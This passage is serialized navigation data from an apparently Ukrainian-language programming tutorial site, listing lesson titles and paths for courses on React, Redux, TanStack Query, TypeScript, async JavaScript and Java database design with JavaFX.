Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":2123,"path":2124,"stem":2125},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":2127,"icon":2128,"path":2129,"stem":2130,"children":2131,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2132,2136,2140,2144],{"title":2133,"path":2134,"stem":2135},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2137,"path":2138,"stem":2139},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2141,"path":2142,"stem":2143},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2145,"path":2146,"stem":2147},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2149,"icon":2150,"path":2151,"stem":2152,"children":2153},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2154,2155,2159,2163,2167,2171,2234,2269,2421],{"title":2149,"path":2151,"stem":2152},{"title":2156,"path":2157,"stem":2158},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2160,"path":2161,"stem":2162},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2164,"path":2165,"stem":2166},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2168,"path":2169,"stem":2170},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2172,"icon":132,"path":2173,"stem":2174,"children":2175},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2176,2178,2182,2186,2190,2194,2198,2202,2206,2210,2214,2218,2222,2226,2230],{"title":2177,"path":2173,"stem":2174},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2179,"path":2180,"stem":2181},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2183,"path":2184,"stem":2185},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2187,"path":2188,"stem":2189},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2191,"path":2192,"stem":2193},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2195,"path":2196,"stem":2197},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2199,"path":2200,"stem":2201},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2203,"path":2204,"stem":2205},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2207,"path":2208,"stem":2209},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2211,"path":2212,"stem":2213},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2215,"path":2216,"stem":2217},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2219,"path":2220,"stem":2221},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2223,"path":2224,"stem":2225},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2227,"path":2228,"stem":2229},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2231,"path":2232,"stem":2233},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2235,"icon":2150,"path":2236,"stem":2237,"children":2238},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2239,2241,2245,2249,2253,2257,2261,2265],{"title":2240,"path":2236,"stem":2237},"React Router: Навігаційна система сучасного вебу",{"title":2242,"path":2243,"stem":2244},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2246,"path":2247,"stem":2248},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2250,"path":2251,"stem":2252},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2254,"path":2255,"stem":2256},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2258,"path":2259,"stem":2260},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2262,"path":2263,"stem":2264},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2266,"path":2267,"stem":2268},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2270,"icon":132,"path":2271,"stem":2272,"children":2273},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2274,2276,2292,2321,2330,2351,2367,2396],{"title":2275,"path":2271,"stem":2272},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2277,"stem":2278,"children":2279,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2280,2284,2288],{"title":2281,"path":2282,"stem":2283},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2285,"path":2286,"stem":2287},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2289,"path":2290,"stem":2291},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2293,"icon":132,"path":2294,"stem":2295,"children":2296,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2297,2301,2305,2309,2313,2317],{"title":2298,"path":2299,"stem":2300},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2302,"path":2303,"stem":2304},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2306,"path":2307,"stem":2308},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2310,"path":2311,"stem":2312},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2314,"path":2315,"stem":2316},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2318,"path":2319,"stem":2320},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2322,"icon":132,"path":2323,"stem":2324,"children":2325,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2326],{"title":2327,"path":2328,"stem":2329},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2331,"icon":132,"path":2332,"stem":2333,"children":2334,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2335,2339,2343,2347],{"title":2336,"path":2337,"stem":2338},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2340,"path":2341,"stem":2342},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2344,"path":2345,"stem":2346},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2348,"path":2349,"stem":2350},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2352,"icon":92,"path":2353,"stem":2354,"children":2355,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2356,2360,2364],{"title":2357,"path":2358,"stem":2359},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2361,"path":2362,"stem":2363},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2211,"path":2365,"stem":2366},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2368,"icon":132,"path":2369,"stem":2370,"children":2371,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2372,2376,2380,2384,2388,2392],{"title":2373,"path":2374,"stem":2375},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2377,"path":2378,"stem":2379},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2381,"path":2382,"stem":2383},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2385,"path":2386,"stem":2387},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2389,"path":2390,"stem":2391},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2393,"path":2394,"stem":2395},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2397,"icon":132,"path":2398,"stem":2399,"children":2400,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2401,2405,2409,2413,2417],{"title":2402,"path":2403,"stem":2404},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2406,"path":2407,"stem":2408},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2410,"path":2411,"stem":2412},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2414,"path":2415,"stem":2416},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2418,"path":2419,"stem":2420},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2422,"icon":132,"path":2423,"stem":2424,"children":2425},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2426,2428,2432,2436,2440,2444,2448],{"title":2427,"path":2423,"stem":2424},"UI Бібліотеки в React",{"title":2429,"path":2430,"stem":2431},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2433,"path":2434,"stem":2435},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2437,"path":2438,"stem":2439},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2441,"path":2442,"stem":2443},"Базові Компоненти shadcn\u002Fui: Фундамент Інтерфейсу","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-basics","03.javascript\u002F04.react\u002F07.ui-libraries\u002F04.shadcn-components-basics",{"title":2445,"path":2446,"stem":2447},"Компоненти Форм: Побудова Інтерактивних Form","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-forms","03.javascript\u002F04.react\u002F07.ui-libraries\u002F05.shadcn-components-forms",{"title":2449,"path":2450,"stem":2451},"Складні Компоненти: Dialog, Dropdown, Table та Command","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-components-advanced","03.javascript\u002F04.react\u002F07.ui-libraries\u002F06.shadcn-components-advanced",{"title":2453,"icon":2454,"path":2455,"stem":2456,"children":2457,"page":59},"TypeScript","i-devicon-typescript","\u002Fjavascript\u002Ftypescript","03.javascript\u002F05.typescript",[2458,2462,2466,2470,2474,2478,2482,2486],{"title":2459,"path":2460,"stem":2461},"TypeScript: Броня для вашого коду","\u002Fjavascript\u002Ftypescript\u002Fintro-and-basic-types","03.javascript\u002F05.typescript\u002F01.intro-and-basic-types",{"title":2463,"path":2464,"stem":2465},"Майстерність Моделювання Даних: Інтерфейси та Просунуті Типи","\u002Fjavascript\u002Ftypescript\u002Finterfaces-and-advanced-types","03.javascript\u002F05.typescript\u002F02.interfaces-and-advanced-types",{"title":2467,"path":2468,"stem":2469},"Алхімія Типів: Generics та Utility Types","\u002Fjavascript\u002Ftypescript\u002Fgenerics-and-utilities","03.javascript\u002F05.typescript\u002F03.generics-and-utilities",{"title":2471,"path":2472,"stem":2473},"Архітектура та Шаблони: Класи в TypeScript","\u002Fjavascript\u002Ftypescript\u002Fclasses-and-oop","03.javascript\u002F05.typescript\u002F04.classes-and-oop",{"title":2475,"path":2476,"stem":2477},"Продакшн та Екосистема: Advanced Config & Workflow","\u002Fjavascript\u002Ftypescript\u002Fadvanced-patterns-and-config","03.javascript\u002F05.typescript\u002F05.advanced-patterns-and-config",{"title":2479,"path":2480,"stem":2481},"TypeScript у світі React","\u002Fjavascript\u002Ftypescript\u002Freact-basics","03.javascript\u002F05.typescript\u002F06.react-basics",{"title":2483,"path":2484,"stem":2485},"React + TypeScript: Продвинуті патерни","\u002Fjavascript\u002Ftypescript\u002Freact-advanced","03.javascript\u002F05.typescript\u002F07.react-advanced",{"title":2487,"path":2488,"stem":2489},"React + TypeScript: Екосистема та бібліотеки","\u002Fjavascript\u002Ftypescript\u002Freact-ecosystem","03.javascript\u002F05.typescript\u002F08.react-ecosystem",{"title":2491,"icon":2492,"path":2493,"stem":2494,"children":2495,"page":59},"Асинхронність","i-lucide-refresh-cw","\u002Fjavascript\u002Fasync-programming","03.javascript\u002F06.async-programming",[2496,2500,2504],{"title":2497,"path":2498,"stem":2499},"Event Loop: серце асинхронності в JavaScript","\u002Fjavascript\u002Fasync-programming\u002Fevent-loop-fundamentals","03.javascript\u002F06.async-programming\u002F01.event-loop-fundamentals",{"title":2501,"path":2502,"stem":2503},"Task Queue та Microtask Queue: пріоритети виконання","\u002Fjavascript\u002Fasync-programming\u002Ftask-queues","03.javascript\u002F06.async-programming\u002F02.task-queues",{"title":2505,"path":2506,"stem":2507},"Асинхронні патерни: від Callbacks до Async\u002FAwait","\u002Fjavascript\u002Fasync-programming\u002Fasync-patterns","03.javascript\u002F06.async-programming\u002F03.async-patterns",{"title":2509,"path":2510,"stem":2511},"Atomic Design","\u002Fjavascript\u002Fatomic-design","03.javascript\u002F2.atomic-design",{"title":2513,"icon":2514,"path":2515,"stem":2516,"children":2517,"page":59},"Java","i-devicon-java","\u002Fjava","04.java",[2518,2521,2524,2528,2532,2536,2540],{"title":162,"path":2519,"stem":2520},"\u002Fjava\u002Fdata-mapper-part1","04.java\u002F01.data-mapper-part1",{"title":166,"path":2522,"stem":2523},"\u002Fjava\u002Fdata-mapper-part2","04.java\u002F02.data-mapper-part2",{"title":2525,"path":2526,"stem":2527},"Service Layer: Організація бізнес-логіки","\u002Fjava\u002Fservice-layer","04.java\u002F03.service-layer",{"title":2529,"path":2530,"stem":2531},"Rich Domain Model та State Pattern","\u002Fjava\u002Frich-domain-model","04.java\u002F04.rich-domain-model",{"title":2533,"path":2534,"stem":2535},"Патерни для складної бізнес-логіки","\u002Fjava\u002Fbusiness-logic-patterns","04.java\u002F05.business-logic-patterns",{"title":2537,"path":2538,"stem":2539},"Обробка помилок та валідація","\u002Fjava\u002Ferror-handling-validation","04.java\u002F06.error-handling-validation",{"title":2541,"path":2542,"stem":2543,"children":2544,"page":59},"Проектування баз даних","\u002Fjava\u002Fpr2","04.java\u002Fpr2",[2545,2549,2553,2557,2561,2565,2569,2573,2577,2581,2585,2589,2593,2597,2601,2605,2609,2613,2617,2621,2625,2629,2633,2637,2641,2645,2649,2653,2657,2661,2665,2669,2673,2677,2681,2685,2689],{"title":2546,"path":2547,"stem":2548},"Концептуальне моделювання: Мистецтво розуміння предметної області","\u002Fjava\u002Fpr2\u002Fconceptual-modeling","04.java\u002Fpr2\u002F01.conceptual-modeling",{"title":2550,"path":2551,"stem":2552},"Логічне моделювання: Від бізнес-ідей до структур даних","\u002Fjava\u002Fpr2\u002Flogical-modeling","04.java\u002Fpr2\u002F02.logical-modeling",{"title":2554,"path":2555,"stem":2556},"Нормалізація: Гігієна даних та боротьба з аномаліями","\u002Fjava\u002Fpr2\u002Fnormalization","04.java\u002Fpr2\u002F03.normalization",{"title":2558,"path":2559,"stem":2560},"Фізична схема: Від абстракції до DDL","\u002Fjava\u002Fpr2\u002Fphysical-schema","04.java\u002Fpr2\u002F04.physical-schema",{"title":2562,"path":2563,"stem":2564},"Архітектурна класифікація таблиць","\u002Fjava\u002Fpr2\u002Ftable-classification","04.java\u002Fpr2\u002F05.table-classification",{"title":2566,"path":2567,"stem":2568},"Database Migrations: Версіонування схеми з Flyway","\u002Fjava\u002Fpr2\u002Fdatabase-migrations","04.java\u002Fpr2\u002F06.database-migrations",{"title":2570,"path":2571,"stem":2572},"А що, якби це була не реляційна БД?","\u002Fjava\u002Fpr2\u002Fbeyond-relational","04.java\u002Fpr2\u002F07.beyond-relational",{"title":2574,"path":2575,"stem":2576},"Object-Relational Impedance Mismatch: Два світи, що не хочуть дружити","\u002Fjava\u002Fpr2\u002Fimpedance-mismatch","04.java\u002Fpr2\u002F09.impedance-mismatch",{"title":2578,"path":2579,"stem":2580},"JDBC: Перший контакт із базою даних","\u002Fjava\u002Fpr2\u002Fjdbc-fundamentals","04.java\u002Fpr2\u002F10.jdbc-fundamentals",{"title":2582,"path":2583,"stem":2584},"Якість коду: Spotless, SpotBugs та SonarQube","\u002Fjava\u002Fpr2\u002F10a.code-quality","04.java\u002Fpr2\u002F10a.code-quality",{"title":2586,"path":2587,"stem":2588},"Connection Pool: Патерн Object Pool для JDBC-з'єднань","\u002Fjava\u002Fpr2\u002Fconnection-pool","04.java\u002Fpr2\u002F11.connection-pool",{"title":2590,"path":2591,"stem":2592},"Row Data Gateway: Об'єкт як обгортка рядка таблиці","\u002Fjava\u002Fpr2\u002Frow-data-gateway","04.java\u002Fpr2\u002F12.row-data-gateway",{"title":2594,"path":2595,"stem":2596},"Table Data Gateway: Фасад таблиці як архітектурний відступ","\u002Fjava\u002Fpr2\u002Ftable-data-gateway","04.java\u002Fpr2\u002F13.table-data-gateway",{"title":2598,"path":2599,"stem":2600},"Repository + Data Mapper: Правильна шарова архітектура з JDBC","\u002Fjava\u002Fpr2\u002Frepository-data-mapper","04.java\u002Fpr2\u002F14.repository-data-mapper",{"title":2602,"path":2603,"stem":2604},"Identity Map: Кешування сутностей у рамках сесії","\u002Fjava\u002Fpr2\u002Fidentity-map","04.java\u002Fpr2\u002F15.identity-map",{"title":2606,"path":2607,"stem":2608},"Unit of Work: Відстеження змін і координація JDBC-транзакцій","\u002Fjava\u002Fpr2\u002Funit-of-work","04.java\u002Fpr2\u002F16.unit-of-work",{"title":2610,"path":2611,"stem":2612},"Strategy: Замінювані SQL-стратегії для підтримки різних СУБД","\u002Fjava\u002Fpr2\u002Fstrategy-sql","04.java\u002Fpr2\u002F17.strategy-sql",{"title":2614,"path":2615,"stem":2616},"Proxy: Lazy Loading для One-To-Many колекцій","\u002Fjava\u002Fpr2\u002Fproxy-lazy-loading","04.java\u002Fpr2\u002F18.proxy-lazy-loading",{"title":2618,"path":2619,"stem":2620},"Generic Repository через Java Reflection: анотації та динамічний SQL","\u002Fjava\u002Fpr2\u002Fgeneric-repository-reflection","04.java\u002Fpr2\u002F19.generic-repository-reflection",{"title":2622,"path":2623,"stem":2624},"Specification Pattern: Композиція бізнес-правил для складних запитів","\u002Fjava\u002Fpr2\u002Fspecification-pattern","04.java\u002Fpr2\u002F20.specification-pattern",{"title":2626,"path":2627,"stem":2628},"Розширені можливості Specification Pattern: підзапити, агрегації та гібридний підхід","\u002Fjava\u002Fpr2\u002F20a.advanced-specifications","04.java\u002Fpr2\u002F20a.advanced-specifications",{"title":2630,"path":2631,"stem":2632},"Асинхронність у JDBC: Від блокуючих викликів до CompletableFuture","\u002Fjava\u002Fpr2\u002Fasynchronous-jdbc","04.java\u002Fpr2\u002F21.asynchronous-jdbc",{"title":2634,"path":2635,"stem":2636},"Інтеграційне тестування JDBC-репозиторіїв: Embedded H2 та патерн AAA","\u002Fjava\u002Fpr2\u002Fintegration-testing-h2","04.java\u002Fpr2\u002F22.integration-testing-h2",{"title":2638,"path":2639,"stem":2640},"Testcontainers: Тестування з реальною PostgreSQL у Docker-контейнерах","\u002Fjava\u002Fpr2\u002Fintegration-testing-testcontainers","04.java\u002Fpr2\u002F23.integration-testing-testcontainers",{"title":2642,"path":2643,"stem":2644},"Google Guice: Впровадження залежностей у JavaFX-проєкті","\u002Fjava\u002Fpr2\u002Fdependency-injection-guice","04.java\u002Fpr2\u002F24.dependency-injection-guice",{"title":2646,"path":2647,"stem":2648},"JavaFX: Основи побудови графічних інтерфейсів","\u002Fjava\u002Fpr2\u002Fjavafx-fundamentals","04.java\u002Fpr2\u002F25.javafx-fundamentals",{"title":2650,"path":2651,"stem":2652},"Properties та Bindings: Реактивність у JavaFX","\u002Fjava\u002Fpr2\u002Fjavafx-properties-bindings","04.java\u002Fpr2\u002F26.javafx-properties-bindings",{"title":2654,"path":2655,"stem":2656},"MVC vs MVP vs MVVM: Еволюція архітектурних патернів UI","\u002Fjava\u002Fpr2\u002Fui-architecture-patterns","04.java\u002Fpr2\u002F27.ui-architecture-patterns",{"title":2658,"path":2659,"stem":2660},"MVVM на практиці: Побудова ViewModel","\u002Fjava\u002Fpr2\u002Fmvvm-viewmodel-implementation","04.java\u002Fpr2\u002F28.mvvm-viewmodel-implementation",{"title":2662,"path":2663,"stem":2664},"View та Controller: Зв'язування з ViewModel через FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2666,"path":2667,"stem":2668},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2670,"path":2671,"stem":2672},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2674,"path":2675,"stem":2676},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2678,"path":2679,"stem":2680},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2682,"path":2683,"stem":2684},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2686,"path":2687,"stem":2688},"AtlantaFX: Сучасні теми для JavaFX 